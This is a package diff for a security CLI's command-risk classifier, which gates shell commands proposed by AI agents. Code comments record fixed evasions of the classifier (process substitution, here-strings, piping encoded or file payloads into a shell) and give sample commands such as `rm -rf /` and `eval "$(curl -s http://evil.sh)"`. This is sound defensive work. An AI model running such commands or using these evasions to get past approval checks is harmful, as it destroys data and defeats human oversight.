@rafter-security/cli 0.10.4 → 0.10.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/core/risk-rules.js
CHANGED
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@@ -106,7 +106,18 @@ export const DEFAULT_REQUIRE_APPROVAL = [
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106
106
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/** Shells whose `-c` argument is a command string to execute. */
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107
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const SHELL_EXECS = new Set(["bash", "sh", "zsh", "dash", "ksh", "ash", "fish", "su"]);
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108
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/** Execs whose arguments are executable text (a remote command, a script). */
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109
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-
const EVAL_EXECS = new Set([
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109
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const EVAL_EXECS = new Set([
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110
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// `trap 'cmd' EXIT` registers a command string that runs when the shell
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111
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// LEAVES. The payload is an ordinary quoted operand, so without this it is
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112
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// redacted as prose exactly as `echo "..."` correctly is. The deferral
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113
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// changes the deny message and the audit trail, not the decision. (rf-zvll A2)
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114
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"trap",
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115
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"eval",
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116
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"exec",
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117
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"ssh",
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118
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"sshpass",
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119
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"xargs",
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120
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]);
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110
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/** Flags carrying an executable string (`bash -c`, `python -c`, `mysql -e`, `find -exec`). */
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const EVAL_FLAGS = new Set(["-c", "-e", "--command", "--execute", "--eval", "-exec", "--exec"]);
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/** Prefix wrappers that delegate to the command that follows them. */
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@@ -124,6 +135,13 @@ const TEXT_FLAGS = new Set([
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/** Operators that chain independent commands. */
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const CHAIN_OPS = new Set([";", "&&", "||", "|", "&"]);
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126
137
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/** Operators whose following token is a redirect target (a path — never data). */
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138
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// `<<<` is deliberately ABSENT: it is a here-STRING, and its operand is stdin
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139
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// CONTENT, not a path. Treating it as a redirect target left the text
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140
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// untouched, which over-blocked a data owner (`cat <<< "…rm -rf /…" > notes.md`
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141
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// classified critical — #230's shape, one operator over) and under-blocked a
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142
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// shell one (`bash <<< "rm -rf /"` classified high, though the shell runs it).
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143
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// Falling through to the ordinary operand path asks the question the heredoc
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144
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// work already answers: does this command execute what it reads? (sable-4nt2)
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127
145
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const REDIRECT_OPS = new Set([">", ">>", "<", "<<"]);
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128
146
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/** Bound on recursion through nested shell wrappers / substitutions. */
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const MAX_SANITIZE_DEPTH = 8;
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@@ -181,6 +199,24 @@ function tokenize(s) {
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181
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i++;
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182
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continue;
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}
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202
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// `<(cmd)` / `>(cmd)` — PROCESS SUBSTITUTION. The content is a command that
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203
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// RUNS, exactly as `$(cmd)` does, so it goes in substs and the existing
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204
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// recursive scan handles it with no new rule.
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205
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//
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206
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// Without this the tokenizer never forms the construct: it emits op `<`,
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207
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// which is in REDIRECT_OPS, so `(cmd` becomes a redirect TARGET and is left
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208
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// untouched, while the remaining words are redacted as the host's data
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209
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// operands. TWO independent wrong decisions that conspire —
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210
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// `ack <(rm -rf /)` sanitized to `ack <(rm `, harmless-looking head
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211
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// preserved and dangerous tail deleted. Fixing either alone leaves the
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212
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// bypass, which is worth knowing when reviewing this. (rf-zvll)
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213
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if ((c === "<" || c === ">") && s[i + 1] === "(") {
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214
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const start = i;
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215
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const r = readSubst(s, i);
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216
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i = r.next;
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217
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pieces.push({ start, end: i, op: null, text: "", quoted: false, substs: [r.inner] });
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218
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continue;
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219
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}
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if (isOpChar(c)) {
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const start = i;
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if (c === "\n" || c === "\r") {
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@@ -190,7 +226,15 @@ function tokenize(s) {
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continue;
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}
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const two = s.slice(i, i + 2);
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193
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-
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229
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// `<<<` before `<<`, or it tokenizes as `<<` + `<` and the here-string
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230
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// operand becomes a redirect target — left untouched, which is how it
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231
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// ended up both over- and under-blocked (sable-4nt2).
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const three = s.slice(i, i + 3);
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const op = three === "<<<"
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234
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? three
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: (two === "&&" || two === "||" || two === ">>" || two === "<<")
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? two
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: c;
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i += op.length;
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pieces.push({ start, end: i, op, text: op, quoted: false, substs: [] });
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continue;
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@@ -882,6 +926,84 @@ function disarmsRafter(command, depth = 0) {
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882
926
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statements.push(stmt);
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883
927
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return statements.some(statementDisarmsRafter);
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928
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}
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929
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/**
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930
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* True if a SHELL receives its program through a channel rather than as a path.
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931
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*
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932
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* rf-zvll mechanism B. Three shapes, all measured EXECUTING by the sandboxed
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933
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* oracle while classifying `low`:
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934
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*
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935
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* cat payload.txt | sh the payload is in a file
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936
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* echo <b64> | base64 -d | sh the payload is encoded
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937
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* bash < payload.txt no pipe at all, just a redirect
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938
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*
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939
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* The classifier cannot read any of them, so no amount of better parsing
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940
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* recovers the payload — this is a POSTURE decision, not an analysis one.
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941
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*
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942
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* DELIBERATELY EXCLUDES a plain file ARGUMENT (`bash deploy.sh`). We cannot read
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943
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* that either, so the distinction is not one of RISK — it is one of FREQUENCY,
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944
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* and saying so plainly matters more than dressing it up. Measured over 13,613
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945
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* intercepted commands: stream forms are 0.022% of traffic in 2 of 665 repos,
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946
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* while `curl|wget` into a shell — already approval-gated — is 100 events. The
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947
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* form that already prompts is 33x more common than everything this newly
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948
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* gates. That sample is ONE machine; the limit is recorded on rf-zvll.
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949
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*/
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950
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export function shellProgramFromStream(command) {
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951
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const { pieces } = tokenize(command);
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952
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const segments = [];
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953
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const enders = [];
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954
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let cur = [];
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955
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for (const piece of pieces) {
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956
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if (piece.op !== null && CHAIN_OPS.has(piece.op)) {
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957
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segments.push(cur);
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958
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enders.push(piece.op);
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959
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cur = [];
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960
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continue;
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961
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}
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962
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cur.push(piece);
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963
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}
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964
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segments.push(cur);
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965
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enders.push(null);
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966
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// Iterative, not one step: `env FOO=1 bash` needs two skips, and a single
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967
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// lookahead silently resolved to `FOO=1` — caught by its own test row.
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968
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const resolve = (seg) => {
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969
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const words = seg.filter((w) => w.op === null);
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970
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for (let k = 0; k < words.length; k++) {
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971
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const t = words[k].text;
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972
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if (ENV_ASSIGNMENT.test(t) || t.startsWith("-"))
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973
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continue;
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974
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if (TAIL_WRAPPERS.has(execName(t)))
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975
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continue;
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976
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return execName(t);
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977
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}
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978
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return "";
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979
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};
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980
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for (let idx = 0; idx < segments.length; idx++) {
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981
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const seg = segments[idx];
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982
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// `eval "$(cat f)"` / `eval "$(curl -s http://x)"` — a program-executing
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983
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// consumer fed from a substitution whose OUTPUT we cannot read. Same
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984
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// semantic test as the pipe case; pipe-vs-substitution is syntax.
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985
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//
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986
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// Deliberately ANY substitution, not only data-readers: a reader-only rule
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987
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// misses `eval "$(curl -s http://evil.sh)"`, remote code and the worst
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988
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// shape in the set. Measured cost of the broad rule: ZERO occurrences in
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989
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// 13,647 commands across 671 repos.
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990
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if (EVAL_EXECS.has(resolve(seg)) && seg.some((w) => w.op === null && w.substs.length)) {
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991
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return true;
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992
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}
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993
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if (SHELL_EXECS.has(resolve(seg))) {
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994
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// `bash < file` / `bash <<< str` — the program arrives on stdin.
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995
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for (const w of seg)
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996
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if (w.op === "<" || w.op === "<<<")
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997
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return true;
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998
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}
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999
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// `… | bash` — this segment's OUTPUT is the next one's program.
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1000
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if (enders[idx] === "|" && idx + 1 < segments.length) {
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1001
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if (SHELL_EXECS.has(resolve(segments[idx + 1])))
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1002
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return true;
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1003
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}
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1004
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}
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1005
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return false;
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1006
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}
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885
1007
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export function assessCommandRisk(command) {
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886
1008
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// rf-vnxs: checked on the RAW command, before sanitization, because the
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887
1009
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// disarm is an ordinary well-formed invocation — there is nothing malformed
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@@ -895,6 +1017,12 @@ export function assessCommandRisk(command) {
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895
1017
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if (pattern.test(cmd))
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896
1018
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return "critical";
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897
1019
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}
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1020
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// rf-zvll B2: a shell fed its program from a channel we cannot read requires
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1021
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// approval. Checked AFTER critical so `echo 'rm -rf /' | sh` — where the
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1022
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// payload IS readable and matches — keeps its hard block rather than being
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1023
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// softened to approval.
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1024
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if (shellProgramFromStream(command))
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1025
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return "high";
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898
1026
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for (const pattern of HIGH_PATTERNS) {
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899
1027
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if (pattern.test(cmd))
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900
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return "high";
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package/package.json
CHANGED
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@@ -1,7 +1,7 @@
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1
1
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---
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name: rafter-security
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description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`.
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4
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version: 0.10.
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version: 0.10.5
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5
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homepage: https://rafter.so
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metadata:
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7
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openclaw:
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